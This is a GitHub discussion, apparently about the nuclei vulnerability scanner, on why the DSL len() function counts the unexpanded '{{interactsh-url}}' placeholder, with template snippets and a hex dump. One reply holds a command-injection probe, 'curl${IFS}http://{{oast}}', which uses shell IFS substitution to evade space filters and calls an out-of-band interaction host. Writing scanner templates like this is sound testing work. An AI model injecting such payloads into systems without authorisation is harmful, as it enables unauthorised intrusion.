Replies: 2 comments 2 replies
-
|
@darses This should work! variables:
oast: "{{interactsh-url}}"
http:
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: dsl
dsl:
- len(oast) |
Beta Was this translation helpful? Give feedback.
1 reply
-
|
A bit mangled to provide a minimum example. And also note that I am using this variables:
oast: "{{interactsh-url}}"
cmd: "curl${IFS}http://{{oast}}"
payload2: "{{len(cmd)}} , {{cmd}}"
extractors:
- type: dsl
dsl:
- len(oast)00000000 33 35 20 2c 20 63 75 72 6c 24 7b 49 46 53 7d 68 |35 , curl${IFS}h|
00000010 74 74 70 3a 2f 2f 64 32 67 34 6c 74 32 76 34 70 |ttp://d2g4lt2v4p|
00000020 76 31 34 36 70 32 30 70 33 30 79 73 35 74 63 37 |v146p20p30ys5tc7|
00000030 36 64 73 6f 79 37 74 2e 6f 61 73 74 2e 70 72 6f |6dsoy7t.oast.pro| |
Beta Was this translation helpful? Give feedback.
1 reply
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
-
Is there an existing issue for this?
Current Behavior
The dsl function
len("{{interactsh-url}}")returns the length of the literal text{{interactsh-url}}. This makes it impossible to compute the length of a payload that includes an interact.sh domain.Expected Behavior
Make the DSL function
len()return the length on the expanded{{interactsh-url}}URL.Steps To Reproduce
Relevant log output
Environment
Anything else?
I see two solutions:
{{interact-len}}if computing it dynamically is impossibleMaybe this issue belongs in the
projectdiscovery/nucleirepository, but I am not sure on that.Beta Was this translation helpful? Give feedback.
All reactions